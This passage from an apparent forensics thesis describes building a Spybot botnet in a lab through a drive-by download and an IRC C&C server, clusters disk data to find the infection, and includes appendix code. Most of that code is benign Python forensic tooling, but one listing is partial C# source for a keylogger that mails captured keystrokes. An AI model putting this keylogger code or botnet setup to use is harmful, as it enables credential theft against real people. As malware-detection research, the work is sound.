botnet malware was used to infect a group of computers. Information about the prepa-
ratory work of which botnet malware we used and how the botnet was established will
first be presented. This is followed by the forensic work using the correlation method, to
evaluate its efficiency and effectiveness of detecting malware in a set of seized compu-
ters. As for digital investigations, expert knowledge and information about an incident,
e.g., the time it happened and possible source, is for this experiment a prerequisite (as
reflected by the experiment’s Online Banking Attack Scenario). For the execution of this
experiment, security precautions were taken in order to prevent the malware from affec-
ting systems outside the experiment environment (as discussed in Section 6.1).

Spybot v1.3

There are many types of malware and architectures used for establishing and controlling
botnets. One well known botnet malware is Spybot, which is based on SDbot. This is an
open-source IRC bot, controlled through a IRC server and channel, where commands can
be sent to the bots as the bot master pleases. It can be configured to use multiple or a
single server for C&C.

Spybot has many features for expanding the control, e.g., by sending additional ma-
licios files to the target bots, delete and execute programs. However, the main purpose
of this bot is to spy on the infected machine, e.g., using keylogging, log collection and
email address extraction. Due to the bot malware’s available open source code, it is also
easy to configure and can be altered such that it is harder to detect.

The bot has several obscurity techniques for hiding its presence on the infected ma-
chine, e.g., killing the task manager process, killing antiviruses. This varies between the
different versions and modifications of the malware code.

Due to the Spybot’s spying capabilities, ease of use, configuration and its features for
obscuring its presence, it suited the Online Banking Attack Scenario. As discussed for
the previous experiment, keylogging and simple spying capabilities are not enough to
gain access to OB accounts. However, a bot master can inject keystrokes to the infected
hosts and tamper with the users input of an OTP. While doing so, the correct OTP can
be captured while the tampered one is sent to the OB. This way the victim will not get
access to the OB, in contrast to the bot master now having the OTP.

In addition, the spybot malware includes a syn-packet flood feature that can be used
by bot masters to perform DDoS attacks against OBs.

The use of Spybot also allowed us to test our correlation method properly. For this
experiment, a configured and modified version of Spybot v1.3 was used. The source
code for the malware was obtained from [106].

Infection Scenario

To obtain reliable results from the correlation method, five machines were infected by
using a typical attack vector, i.e., drive-by attack. Figure 28 shows the process from bot
malware infection to full control of the bots.

Machine Configurations and Tools

In order for this experiment to work, a C&C server and drive-by download website had
to be set up and configured. For simplicity, we decided to make one machine serve both
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A drive-by download, using a trojan (1) with the Spybot v1.3 bot malware was used to
infect (2) the bot machines. When the bot malware was successfully installed, the bots

connect to the C&C server (3), which was a IRC server with a monitored IRC channel in
control of the bot master. The bot master then sent commands and received information
(4) through the C&C server to the bots (5). With control of the bots, attacks and other
malicious activity could be performed by the bot master, e.g., monitoring keystrokes of

OB activity.

Figure 28: Botnet infection and C&C

of these services. The network architecture is given in Figure 29.

C&C Server and Drive-by Attack Website

This was the machine used for infection and control of the bots and had the following
configuration:

• CPU: 1 core

• Hard disk size: 4GB

• Physical Memory: 512MB

• OS: Windows XP w/SP2

• Virtual Environment: VMWare Workstation 7.0.0 build-203739

• Tools: Apache [107], mIRC [108], BewareIRCd [109]

Apache HTTP server 2.2 was used to serve the website for drive-by attacks. It used default
configurations, except from the actual website having the malicious Spybot executable.
mIRC v6.35 was used as the C&C portal to receive and send commands to the bots. Since
this machine also had to run a IRC server, which the bots connect to and the bot master
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Figure 29: Virtualized network architecture of botnet

controlled the bots from, a BewareIRCd server was set up using default configurations.
In order for the bots to correctly connect to the C&C server, the IRC server address

(in this case the IP-address of the virtual machine) and channel (whatever you want for
channel name) had to be configured for the Spybot executable. This was configured in
the settings.h file which came together with the Spybot v1.3. The special configuration
changes applied are presented in Table 9. When it was configured correctly, the execu-
table file had to be created and this was done by running the make Spybot MS-DOS batch
file included in the Spybot bundle. The generated and configured Spybot file had to be
served from the Apache server and this was done by placing it in the Apache htdocs fol-
der. It was created a download link in the index.html file for the machines to get infected
from.

Variable Value
IP 192.168.40.129
IRC channel #momo

Table 9: Settings for Spybot v1.3 malware

The Bots

These were the machines infected with the Spybot malware. We decided to use five
machines for this, using the same cloning technique as for the Keylogger Bot Malware to
create all neccessarily states (identical to Figure 22. Hash values of all hard drives from
the different machines and states are given in Appendix I. All machines had the following
configuration:

• CPU: 1 core

• Hard disk size: 4GB

• Physical Memory: 256MB
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• OS: Windows XP w/SP2

• Virtual Environment: VMWare Workstation 7.0.0 build-203739

No additional tools were required for these machines. They only had to access the drive-
by attack website, accessible from Internet Explorer using the target IP address of the
machine known as C&C server and drive-by attack website.

The malware had to be downloaded and executed. Security messages from the OS,
telling that access to Internet was attempted, occurred and had to be accepted. We have
not considered bypassing this security feature for our experiment due to its limited affect
on the results obtained from the correlation method, but this could easily be bypassed by
encapsulating the malware in a program or game (making it a typical trojan). This would
increase the likelihood of the user ignoring the messages. After ignoring the messages,
the malware did its job by obscuring its presence and connected to the C&C server.

Data Collection and Examination

The Data Collection and Examination steps performed for the Keylogger Bot Malware ex-
periment was the same for this experiment. This gave five representations of Feature File
3, that could be used for Link Mining.

Link Mining

The process of combining the feature files, pre-processing and clustering them was per-
formed in the same manner as for the Keylogger Bot Malware experiment. The results
obtained were of course different, e.g, reflected by the SOM diagram generated by Vis-
covery SOMine. When generating this SOM diagram, both normal and accurate training
schedule were used. The results varied from the two training schedules, giving three
(accurate) and five (normal) segments. Both diagrams are presented in Figure 30. After
clustering the data in Weka, using both three and five as values for K, we decided to use
three because it created more clear groups of data. One reason for this was that when
we used five clusters, files from all the machines were incorrectly split. We discovered
that file objects with similar features, only except two out of 195, had been clustered in
separate clusters, making correlations between machines impossible.

(a) Five Segments (b) Three Segments

Figure 30: SOM diagrams of Malware form the Wild data

For cluster evaluation we used between and within cluster estimation (bc and wc),
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like for the Keylogger Bot Malware experiment. Here it was also based on the cluster
output in Weka Explorer, presenting cluster centroids and cluster instances, and Visual
representations from Weka. Evaluating the clusters based on classes to cluster evaluation
was difficult in this experiment since we could not classify any specific files as malicious,
other than the named "spyware.exe" file. This made the experiment more realistic, since
the forensic analysis could only be based on expert knowledge of the time an incident
occurred, possible communication channels used and origin.

In addition to evaluating them together, the three clusters were split such that we
could analyze each and one of them individually, using the SubsetByExpression filter in
Weka.

Results and Discussions

Due to the fact that Spybot is a well known malware we first ran a test against Avira
Antivir, antivirus software. An alert was generated, as presented in Appendix I, to verify
Spybot v1.3’s maliciousness associated with a antivirus’ malware signature.

The reduction of file objects, based on the clean system and the NSRL database, re-
duced the number of file objects to approximately 3%. As for the Keylogger Bot Malware
experiment, none of them were removed by NSRL RDS. However, the NSRL RDS would
alone remove 8916 file objects if executed first, but since the clean system hashes were
executed first all of these 8916 had already been removed. A summary of the filtering
steps and file objects left after each filtering process are given in Table 10.

Machine ID Initial Clean Filtered NSRL Filtered
1 13871 434 434
2 13871 432 432
3 13871 431 431
4 13871 431 431
5 13871 433 433
Clean 13867 - -
All 69355 2161 2161

Table 10: Filtered file objects for Malware from the Wild machines

The SOM diagrams indicated 3 segments, using normal training schedule. From this
we obtained three clusters using Weka, where the main properties are presented in
Table 11. There were little variation between the number of file objects associated with
each cluster. This also counted for their characteristics, where it was difficult to find clear
differences. The centroids generated by the clustering can be found in Appendix I.

Cluster Number of Objects Percentage
1 604 28%
2 882 41%
3 675 31%
All 2161 100%

Table 11: Clustered instances of Malware from the Wild

C1 had file objects with relatively small file sizes. There were also a few large files,
being the pagefile from the five machines. It was a high variance of the content types, seq
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values and entropy values, ranging from 0 to 7,9. C1 was the only cluster with UID of
both 0 and 48, where 48 was caused by the $Volume files from all machines alone.

The biggest feature separating C2 from both C1 and C3 was the files content, being
only data. Beyond this there were several similarities with the other clusters, e.g., small
file sizes and a small number of seq values. Regarding the file sizes, there were one
exception $LogFile. The entropy of most file objects were concentrated around 2,5 to 4.

C3 included all values of mode (file acccess permissions), being the only cluster with
the whole range. The file sizes were small, with no exception. The contents were esti-
mated by the libmagic value to be DBase 3 index file, X11 SNF font data, LSB first, PE32
executable for MS Windows (DLL) (GUI) Intel 80386 32-bit, data and empty.

During cluster evaluation, a somewhat surprising result appeared. All cluster cen-
troids had the same MD5 sum (as reflected in Appendix I). The reason for this was not
necessarily because the hash value belonged to the same object, but the fact that several
different file objects had the same MD5 sum. This was mainly caused by lack of content
in the files.

File objects from all machines were present in all clusters, as seen in Figure 31. Due
to the clustering task’s goal of grouping common objects, this reflected that there were
links between all of them, some being more relevant than others. Based on the rather
vague characteristics, further analysis of each cluster was performed. Expert knowledge
about the incident and knowledge of file system analysis in general were here necessarily
to apply. This was also something we defined for the Online Banking Attack Scenario
earlier.

Figure 31: Spybot machine data

Temporal and spatial information about the incident, based on the two final steps
of the Online Banking scenario defined in Section 6.2.1, were used for further analysis
of each individual cluster. There was no execution of any attack, e.g., DoS, in the expe-
riment. Because of this there were no address information of a target site to use, meaning
that the time of C&C communication and its IP-address were used instead. The clusters

82



Cross-Computer Malware Detection in Digital Forensics

affiliation to this information is presented in Table 12.

Cluster 2010-04-15 20:30-20:35 192.168.40.129
1 Before and After 30 File objects
2 Before and After None
3 Before and After None

Table 12: Clusters associated with temporal and spatial incident information

Due to the high presence of the C&C servers IP address in C1, these specific file ob-
jects were filtered out and presented graphically in relation to machines M1 − M5 and
Atime. Doing this, the last access time of the files appeared more clearly. The correlation
between the machines, shown graphically in Figure 32, improved further the identifica-
tion of the incident. The different time periods T0−3 can in this example be created by an
investigator to separate the events, based on what is observed.

Figure 32: Atime of C1 with IP 192.168.40.129

At time T0 two Internet Explorer cache file version Ver 5.2 files where accessed in all
machines M1 − M5. In Figure 32, only one being visible due to the exact same ac-
cess time. The files where located in Documents and Settings\Administrator\Local Set-
tings\History\History.IE5\index.dat and Documents and Settings\Administrator\Local Set-
tings\Temporary Internet Files\Content.IE5\index.dat. At time T1, another Internet Explo-
rer cache file version Ver 5.2 file was accessed in M1 −M5, all originated from the Docu-
ments and Settings\Administrator\Local Settings\History\History.IE5\ folder. Next at time
T2 multiple files with suspicious characteristics were accessed from all machines sequen-
tially, within a time range of approximately 1 minute (20:32:48 - 20:34:01).
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The files were suspicious due to their estimated content which where PE32 execu-
table for MS Windows (GUI) Intel 80386 32-bit and their relatively high entropy value of
6,218053. One of the files was a copy of the spyware.exe file we infected the machines
with, located under the machines ...\Temporary Internet Files\Content.IE5\ folder. The
other two files were located under WINDOWS\system32, a typical location to hide mal-
ware. The names of the files were in addition suspicious, and verified as files often asso-
ciated with malware, through a simple google search. The files were named wuaumqr.exe
and download_me.exe. The latter where stored under WINDOWS\system32\kazaabackup-
files\, which also was verified through a google search to be a typical storage and obs-
curity location for malware. The name Kazaa stem from one of the most used P2P file
sharing application, making kazaa-alike folders accepted by computer owners.

Presentation

To present the results obtained from a practical forensics point-of-view, an illustration
map of seized machines from different locations and their links has been made (Fi-
gure 33). The links between the machines are based on the temporal and spatial infor-
mation gathered through use of the correlation method. The lines or links between the
hosts in the figure represent botnet C&C (dotted line) and an attack (red line) against a
victim. This illustrates how the result could be utilized in order to support the generation
of a complete view of an incident. It could also be used to improve the presentation value
of evidence to a court.
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Figure 33: Illustration of linked machines, from identified malware correlations

6.3 Experiment Discussions

The experiments were conducted in such a way that it was possible to execute it on a per-
sonal computer with normal performance. This means that maximum five test computers
could be ran at the same time for the experiments involving link mining between the ma-
chines. However, this number of machines were enough to test whether it was possible to
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identify correlations among them or not. The results clearly show that correlations exist
between all of the machines in both experiments involving multiple ones.

The malware used for the two multi-host experiments shows how easy one can create
and configure malware that employ robot functionalities of a botnet with spying features
suitable for distributed OB attacks. Even though the Keylog Bot Malware only has a one-
way communication with the controller, it still shows a realistic approach of capturing
keystrokes and sending them away. The Spybot malware used for the final experiment
has however numerous C&C features suitable for malicious attacks against naive OB
clients. The use of a three experiments, where one of them were infected in a realistic
manner, with a real malware code, built the foundation for a solid assessment of the
correlation method.

An important aspect of correlating information from multiple sources in digital foren-
sics is to represent the time stamps by adjusting their values in relation to system clocks
and time zones. In the case of our experiments, all machines were running in the same
time zone with the same system clock values. This removed the issues of drifted system
clocks and other changes that might affect the integrity of computer timestamps.

For the clustering task, where similar file objects were grouped, most files were found
common over the set of computers. Due to the way the experiments were conducted, by
cloning the machines, this lead to minimal variations in the file systems of the machines.
The temporal aspect of when the machines were used, the environment they were used
in, imposed activities and actions are possible impact factors. Especially for the Mal-
ware from the Wild experiment, the clustering procedure suffered slightly in the way the
identified clusters had vague dissimilarities. However, due to the file objects features,
especially the IP, email and URL strings, along with the entropy value, timestamps and
the files content type, it was still possible to identify the anomalies clearly.

Regarding the efficiency of the method, it is hard to estimate whether or not the
feature extraction and reduction of file objects would be affected significantly when the
data volumes increase. This is because it is hard to estimate the number of string features,
e.g., IP addresses, present in the files. However, the main purpose is to improve the
efficiency and effectiveness of the analysis, here being the link mining. Since the feature
file of one machine, initially having 4GB of data, is not larger than 148KB, and the size of
5 approximately estimated as 5 times 740KB, the size for data sets of, e.g., 5000 machines
would not be larger than 740000KB or 722,6MB. This is a volume that still is possible
to handle efficiently, when performing link mining analysis. In such cases, an efficient
implementation of the clustering algorithm would be preferable.

All analysis tasks performed, depend heavily on the features representing the files
for each machine. During the experiments we saw that many of the IP, URL and email
strings were FPs, due to the regular expressions used by the Feature Extraction Tool.
We do not know for sure whether FN also exist for these strings. IP-addresses which
is typically associated with local area networks, in which the computers never had any
contact with, we suspect is FP from another type of data source representing numbers in
the same format as IP addresses. It is especially the machines pagefile that is associated
with multiple IP addresses. The access to strings in the pagefile also reflect the methods
ability to extract strings from paged memory. In addition to these string features, partial
overlap were identified over multiple features. E.g., name_type and unallocated were
overlapping in the way that name_type had an unknown value that always were set
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when unallocated were set. This could have lead to small priorities, due to the features
redundancy. In addition, the file content data was always present when the type of a file
was a directory.

The result of cluster centroids having the common feature values reflect the the fea-
ture’s impact on the analysis and the fact that it should be evaluated properly in order
to improve the results. This counts especially for the MD5 cluster centroid values in the
Malware from the Wild experiment.

Overall, the method has great advantages when it comes to identifying similarities
between multiple machines, and using this information to detect possible malware. If
presented properly, the results obtained from using a correlation based method, can pro-
vide useful information for further investigations and as a tool to improve associated
entities in a court or for incident response.
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7 Discussions and Implications

In this chapter, the implications of the proposed correlation method and the outcome
of the executed experiments are presented. The project’s value and its affiliation to the
research area of digital and computational forensics is provided to express the project’s
outcome. The thesis, work involved and answers to the research questions are summari-
zed at the end of this chapter.

7.1 Theoretical Implications

The proposed correlation method oblige with the evolving discipline of computational
forensics, where among others, computer power is utilized to perform and automate
forensic analysis tasks. The current task of an investigator is to perform manual analy-
sis using workstation-centric digital forensic tools. They can benefit from a correlation
method like this, leaving much of the painstaking efforts to filter and create a rough
understanding of the data to be analyzed.

Information gathered and managed through the use of computational forensic me-
thods, have to be understood completely and represented properly. It is crucial that the
task of defining input data and selecting representative features are performed by com-
petent personnel with expert knowledge within the domain in question. In this thesis
we only care about file features that can improve our knowledge to identify correlations
between machines, further utilized to detect traces of malware. The decision of using
file metadata along with special content-based information as features was positively
reflected in the executed experiments.

The preprocessing and employment of the data and link mining techniques play a
central role in how data can be understood. The machine learning algorithm used for
clustering is responsible for giving us the improved knowledge of what we are looking at
as an investigator. The results, being malware’s presence in multiple machines, are not
presented without involving human power and manual analysis of what has been cluste-
red. However, the increased knowledge of what types of files are clustered together can
help to simplify the task of detecting the malware significantly. In the final experiment
we tested the method against a malware from the wild, Spybot. In this experiment it was
clear that when we first found interesting traces in one of the clusters we could more
efficiently point out what other files and which computers where associated with the
malware incident.

The proposed correlation method aims to simplify manual analysis by extracting or
grouping together interesting data that can be considered as malware. In order to eva-
luate the correlation method as a full malware detection solution, a complete and detai-
led understanding of the input data set would be required. For testing IDS, data sets like
the KDD cup 1999 have been used extensively. Although this data set has become quite
old, it is still in use, e.g., by Nguyen et al. [67]. In order to adapt IDS evaluation me-
thods, e.g., Bayesian Detection Rate (as discussed in Section 2.2.4), to test the malware
detection capabilities of the method presented in this thesis, all files in the input data set
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would have to be classified as malicious or benign. Such a classification of the files would
make it possible to create a base-rate, reflecting what there is to detect.

7.2 Practical Implications

Our implementation of the correlation method does not cover all necessarily aspects for
serving as a complete digital forensic solution. Neither do the experiments executed, the
conditions and environments for which they have been executed. The decisions made
for the method and experiments were based on limited resources available, by means of
time and computational power. The tools developed for the practical implementation
are not intended for large scale forensic tasks. Their performance would have to be
improved and suited for computationally powerful and dedicated computer systems or
infrastructures. It would also be important to further examine how investigators can use
the method. While the current method is purely stationed at a single workstation, e.g., a
web application could be powered by a back-end service with high computational power
to reduce the requirements and resource demands of individual workstations.

Performing experiments in a virtual environment has its benefits. However, it can also
negatively affect the results in one way or another. During the experiment execution
we experienced numerous common VMware files on the machines that were clustered
together. This showed how easy the virtual environment could be identified. If malware
with mechanisms for detecting virtual environments were used in the experiments, it
would not be possible to reflect a real physical incident scenario.

The use of similar configured machines for the experiments could affect the clustering
task of the correlation method differently compared to real machines from the wild. In
a real world scenario, where machines were compromised from different locations and
environments, the clustering could produce different results. Since multiple machines are
combined in order to perform the clustering, different types of machines could dominate
the data set. E.g., a machine with 10GB storage would be less represented in the data
set than a machine with 1000GB. These machines would most likely then also have a lot
of different files, where anomalies and correlations among the machines could identify
suspicious activity.

The presentation format of correlations and suspicious malware files is important with
regards to digital investigations. The results obtained through analysis by a technology
expert, would have to be evaluated by a tactical investigator and in consultant with a
legal practitioner before presented to court. Presenting the result graphically, using time
line figures, graphs with correlations between machines and their involved files would
improve its effect.

7.3 Summary

The initial goal of the thesis was to present a new correlation method for malware detec-
tion in digital forensics. To meet the requirements of taking advantage of large amount
of data in an investigative context, and to detect malware, we had to involve several
disciplines. Digital Forensic techniques were needed to extract all necessarily data from
each computer. These data had to be represented in the best possible way and were made
so that the analysis had the best starting point. In addition, knowledge of malware and
botnet characteristics in particular was highly relevant for representing files. Data mining
techniques and particularly a machine learning algorithm for clustering was required to

88



Cross-Computer Malware Detection in Digital Forensics

recognize the similarities in the large amount of data. It also had to make analysis more
efficient than using standard workstation-centric forensic tools. Finally the analysis of
these links, knowledge of extracted file features and information that characterized the
potentially harmful files, could be utilized to give us a better picture of the machines that
were involved in a malware incident.

From the research questions in Chapter 1, we first wanted to find sufficient features
suitable for detecting malware traces. The features we have selected for the correlation
method and used for the practical implementation of it in the experiments, makes it pos-
sible to relocate and correlate file objects from multiple computers. They even provided
useful information reflecting their importance and relevance for the current malware
detection, with potential for further analysis.

The second research question was related to how a correlation method could be im-
plemented. Due to the value of metadata in file system forensics, and the ability of impro-
ving it by adding additional content information and still represent everything in an easy
to handle and structured data format (ARFF), more research can be conducted using the
same representation format but with other analysis tools and techniques applied. Even
though the experiments were conducted with relatively small hard disk partitions, the
method’s ability to extract metadata and special content data about each file makes the
following analysis more efficient. This is because you do not have to work directly on the
original copy. Anyway, one can still easily refer to the original copy by the use of the file
metadata about its origin.

The third and probably the most important research question asked, was about the
efficiency and effectiveness of the proposed correlation method. First of all, the filtering
of files based on hash values reduced the amount of data significantly. Again the cluste-
ring split the data into even smaller groups, making the analysis task smaller. Still when
machines have especially many similar files, due to minor changes in the experiment se-
tup, common and interesting files associated with malware are grouped together. They
also reflected well that links existed between machines involved with the same incident.
Based on these links, along with complete file object features, an investigator would
have had the opportunity to more efficiently and effectively identify which links were of
interest for the incident and not.
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8 Conclusion

The work that has been conducted for this thesis has resulted in a new method for de-
tecting malware through use of correlation analysis in digital forensics. The correlation
method has been developed and implemented over about two months. Experiments exe-
cuted to evaluate the method and its practical implementation, reflect the methods utility
value in improving the efficiency and effectiveness of detecting malware in multiple ma-
chines. Open source forensic and data mining tools, along with self developed tools for
data filtering and extracting additional features that characterize malware patterns have
been included to a forensic system architecture. Everything is performed and developed
in order to oblige with digital forensic and data mining methodologies. The provided
solution is flexible in the way that it can be improved in the future. The data produced
from the experiments can in addition be utilized for further evaluation of the effect of
data and link mining techniques. Thorough clustering evaluation is here an important
element, since only indications of successful clustering were identified in this thesis. This
was mainly caused by challenges of gathering cluster output data for evaluation, and
limited time available.

The total outcome of work conducted in this thesis is multifold. First of all, tasks for
reducing the number file objects to analyze, were an efficient technique to decrease the
initially large data set. The clustering task further separated and grouped common file
objects, which improved the visibility of which data clusters to focus on. After clustering,
the result provided two different ways of improving knowledge from the multiple ma-
chines. First, the ability to detect common file objects between the machines increased
the understanding of the large data set. In addition, the most valuable outcome was that
the correlations further improved the knowledge of what files could be associated with a
malware and thereby an incident.

To relate the work for improving the efficiency and effectiveness of digital forensics,
the presented method is a step in the direction of applying data mining techniques in
the investigation context. The fact that the simplified implementation of the method
was able to highlight and cluster malware traces of a real botnet malware, located on
multiple machines, shows that there is a great potential in this way to perform modern
digital forensics.
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9 Future Work

In this final chapter we will present possible future work, related to the proposed cor-
relation method and digital forensics and malware detection utilizing data mining tech-
niques.

First of all, regarding the evaluation of the proposed correlation method, more expe-
riments should be conducted. Experiments with more machines, multiple and different
type of digital storage devices, file system formats and media, in a physical forensic en-
vironment should be performed in order to extend and evaluate the method further. In
addition, a heterogeneous distribution of both infected and uninfected machines should
be tested.

Malware from the wild, including machines seized from multiple locations and envi-
ronments would be interesting to analyze using the proposed correlation method. In this
way, its efficiency and effectiveness of correlating and detecting malware traces in real
machines would be tested.

Development of other practical implementations or theoretical methods for testing
the utility value of linking data for digital forensic investigations, would increase the
knowledge of its effect as a general forensic model.

For our method we only consider clustering and in particular the k-means algorithm.
Other algorithms and data mining techniques for linking data objects would be worth
looking into.

The lack of thorough cluster evaluation performed for the correlation method should
be performed completely. This would improve the knowledge of the clustering proce-
dure’s success and the value of selected file features. In addition, evaluation of features
using feature selection techniques could further improve knowledge of which do best
represent a file for correlations.

In addition to the file features considered for this thesis, other unique identifiers could
be applied, e.g., related to ID-theft or financial fraud, where SSN, bank account numbers
are typical credentials. These form additional file content-based features that could have
been included to evaluate the correlation method’s performance in a different setting.

The correlation method is related to digital forensics and to simplify the manual ana-
lysis task by limiting the amount of data and grouping similar files. In order to test the
methods ability to fulfill the role as a malware detection method, it would be interes-
ting to look at how the method can be improved and adapted to this domain. It could
then be evaluated against IDS evaluation techniques, e.g., used to estimate a base-rate
to calculate a Bayesian Detection Rate.
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A Feature Extraction Tool - Code
G:\Code\fextract.py 20. april 2010 19:56

# Feature Extraction Tool
from arff import arffread,arffwrite # using arff module!
import commands # commands module
import re # regex module

#Gets all neccesarily information:
ddimage = raw_input("Image file (whole path)\n")
innfilearff = raw_input("Corresponding ARFF input file (whole path)\n")
arffin = open(innfilearff)
arffout = raw_input("Output filename\n")
machinenr = raw_input("Machine number\n")
medianr = raw_input("Media number\n")

fout = open(arffout, 'w') #Opens input arff file

#parses the input ARFF file:
print "Starting Parsing ARFF file..."
(name, sparse, alist, m) = arffread(arffin)
print "Done Parsing!"

# Include all new attributes for the ARFF file:
newent = ['entropy',1,[]] # indexing attribute entropy
machine = ['machine',1,[]] # indexing attribute machine metadata (numeric)
media = ['media',1,[]] # indexing attribute media metadata (e.g., disk = 1)
ipstr = ['IPs',0,[]] # indexing attribute IPs
mailstr = ['mails',0,[]] # indexing attribute mails
urlstr = ['urls',0,[]] # indexing attribute URLs
alist.append(machine) # adding machine attribute to alist
alist.append(media) # adding media attribute to alist
alist.append(newent) # adding ent attribute to alist
alist.append(ipstr) # adding ip attribute to alist
alist.append(mailstr) # adding mail attribute to alist
alist.append(urlstr) # adding url attribute to alist

# goes through all file objects parsed from arff file and adds features:
for obj in m:

iptotal = "" # resetting for current file object's ip string
mailtotal = "" # resetting for current file object's mail string
urltotal = "" # resetting for current file object's url string
obj.append(machinenr) # machine metadata add
obj.append(medianr) # media metadata add
cmdent = "icat "+ddimage+" "+str(obj[15]) + " | ent" # command to calculate entropy
entoutput = commands.getoutput(cmdent) # gets entropy
ent = re.findall('Entropy = ([0-9].[0-9]+)',entoutput) # extracts entropy value
print "Entropy for: ", obj[0]," - ", ent[0] # prints status and entropy
obj.append(ent[0]) # adds the entropy to object

# opening current file object's content from image file, using icat
print "IP, mails and URLs is added to: ",obj[0] # adding status
cmdstr = "icat "+ddimage+" "+str(obj[15]) # command to get file content from image 

using icat
catinput = commands.getoutput(cmdstr) # executes command and stores output for 

searching
# find all ips, based on following regular expression:
ips = re.findall('(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3})', catinput)
if len(ips) > 0: # if any IP found

-1-
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G:\Code\fextract.py 20. april 2010 19:56

for ip in ips: # go through all found
iptotal += '"' + ip + '" ' # add to IP to string, seperated by quotes

obj.append(iptotal) # appending ips to list
else: # if no ip

obj.append('?') # add ? (empty)
# find all emails, based on following regular expression:
emails = re.findall(

'[a-zA-Z0-9]+[\.\_\-]*[a-zA-Z0-9]*@[a-zA-Z0-9]+[\.\-\_]*[a-zA-Z0-9]*[\.][a-zA-Z]+', catinput)
if len(emails) > 0: # if any email found

for mail in emails: # go through all found
mailtotal += '"' + mail + '" ' # add mail to string

obj.append(mailtotal) # appending emails to list
else: # if no email

obj.append('?') # add ? (empty)
#find all URLS, based on following regular expression:
urls = re.findall(

'http[s]?://(?:[a-zA-Z]|[0-9]|[!*\(\),]|[\.]|(?:%[0-9a-fA-F][0-9a-fA-F]))+',catinput)
if len(urls) > 0: # if any email found

for url in urls: # go through all found
urltotal += '"' + url + '" ' # add mail to string

obj.append(urltotal) #appending urls to list
else: # if no email

obj.append('?') # add ? (empty)
#writes the new lists with attributes and values to "fout"-file:
arffwrite(fout,alist,m, name)
#close the used files:
fout.close()
arffin.close()

-2-
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B Hash Extraction Tool
G:\Code\hashextract.py 20. april 2010 19:56

# Hash Extraction Tool
from arff import arffread,arffwrite # using arff module!
import commands # commands module

infile = raw_input("Input ARFF file (whole path):\n") # input arff file
arffin = open(infile) # opens file
hashdbname = raw_input("Output hash file (whole path):\n") # output file
nr = 0 # for sorting object number

#parses the input ARFF file:
print "Starting Parsing ARFF file..." # Status message
(name, sparse, alist, m) = arffread(arffin) # parsing arff file
print "Done Parsing, writing to file..." # status message
hashlist = [] # temp list of obj

# goes through all file objects obj in list m:
for obj in m:

if obj[24] != '?': # if there is a hash value
nr += 1 # increases sorting number
line = obj[24] + " " + "object"+str(nr)+"\n" # obj string in hfind format
hashlist.append(line) # appends object line to hashlist

FILE = open(hashdbname, 'w') # opens outputfile
FILE.writelines(hashlist) # writes hashes to file
FILE.close() # closes the file

-1-
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C Hash-Based Removal Tool - Code
G:\Code\hashremove.py 20. april 2010 19:57

# Hash-Based Removal Tool
from arff import arffread,arffwrite # using arff module!
import commands # commands module

# Gets all neccesarily information:
inn = raw_input("Hash database file to use (whole path)\n")
innfilearff = raw_input("ARFF input file (whole path)\n")
arffin = open(innfilearff)
arffout = raw_input("Output filename\n")

fout = open(arffout, 'w')

#parses the input ARFF file:
print "Starting Parsing ARFF file..."
(name, sparse, alist, m) = arffread(arffin)
print "Done Parsing!"

#setting variables based on parsed ARFF file
nr_obj = len(m) #nr of objects
objnr = 0 #sets counters to 0

# Include all new attributes for the ARFF file:
newm = [] # creates new list for

# goes through all file objects obj in list m to remove files based on hash database:
print "Finds Known Hashes..."
for obj in m:

objnr += 1 # round in for loop
print nr_obj," - ",objnr, " - ",obj[0] # prints hash finding status
if obj[24] != '?': # Only check when valid MD5 value

cmd = "hfind -q "+ inn + " " + obj[24] # command used to find current hash in 
hashdb file

if int(commands.getoutput(cmd)) != 1: # if the hash is not in hash database:
print "No Match of object: ", objnr # print status
newm.append(obj) # append object to list that are not in hash 

db
else: # no hash of file

print "No Hash Value",objnr # status message
newm.append(obj) # appends file object to list

# writes the new lists with attributes and values to "fout"-file:
arffwrite(fout,alist,newm, name)
# close the used files:
fout.close()
arffin.close()
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D Keylogger Bot Malware - Code

C:\Users\Anders\Documents\Master\Master Thesis IS\EXPERIMENT\KEYLOG\botcode.cs 21. april 2010 16:21

//Example bot malware in C# with a keylogger and mail sending client.

//The code is based on the following sources:

// http://blogs.msdn.com/toub/archive/2006/05/03/589423.aspx

// http://dnugh.wordpress.com/2006/10/18/sending-mail-programmatically-using-c-20-with-gmail-2/

//Changes and modifications to the original source code is marked with *

//Low-Level Keyboard Hook in C#

using System;

using System.Diagnostics;

using System.Windows.Forms;

using System.Runtime.InteropServices;

class InterceptKeys

{

private const int WH_KEYBOARD_LL = 13;

private const int WM_KEYDOWN = 0x0100;

private static LowLevelKeyboardProc _proc = HookCallback;

private static IntPtr _hookID = IntPtr.Zero;

static public string lala = String.Empty; //* string to send over mail

static public int loop = 0; //* sendmail loop nr for 10 characters

public static void Main()

{

Console.WriteLine("App started..."); //* print application status

_hookID = SetHook(_proc);

Application.Run();

UnhookWindowsHookEx(_hookID);

}

private static IntPtr SetHook(LowLevelKeyboardProc proc)

{

using (Process curProcess = Process.GetCurrentProcess())

using (ProcessModule curModule = curProcess.MainModule)

{

return SetWindowsHookEx(WH_KEYBOARD_LL, proc,

GetModuleHandle(curModule.ModuleName), 0);

}

}

private delegate IntPtr LowLevelKeyboardProc(

int nCode, IntPtr wParam, IntPtr lParam);

private static IntPtr HookCallback(

int nCode, IntPtr wParam, IntPtr lParam)

{

if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)

{

loop += 1; // * counting nr characters read

int vkCode = Marshal.ReadInt32(lParam);

Console.WriteLine((Keys)vkCode);

string a = ((Keys)vkCode).ToString(); // * keypressed to variable

Console.WriteLine(a); // * printing keystroke

-1-

109



Cross-Computer Malware Detection in Digital Forensics

C:\Users\Anders\Documents\Master\Master Thesis IS\EXPERIMENT\KEYLOG\botcode.cs 21. april 2010 16:21

lala += a; // * adding new keystroke to string

Console.WriteLine(lala); // * prints whole keystroke string

if (loop == 10){ // * if 10 characters pressed/read

sendmail(lala); // * send current string

loop = 0;} // * reset

}

return CallNextHookEx(_hookID, nCode, wParam, lParam);

}

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

private static extern IntPtr SetWindowsHookEx(int idHook,

LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

[return: MarshalAs(UnmanagedType.Bool)]

private static extern bool UnhookWindowsHookEx(IntPtr hhk);

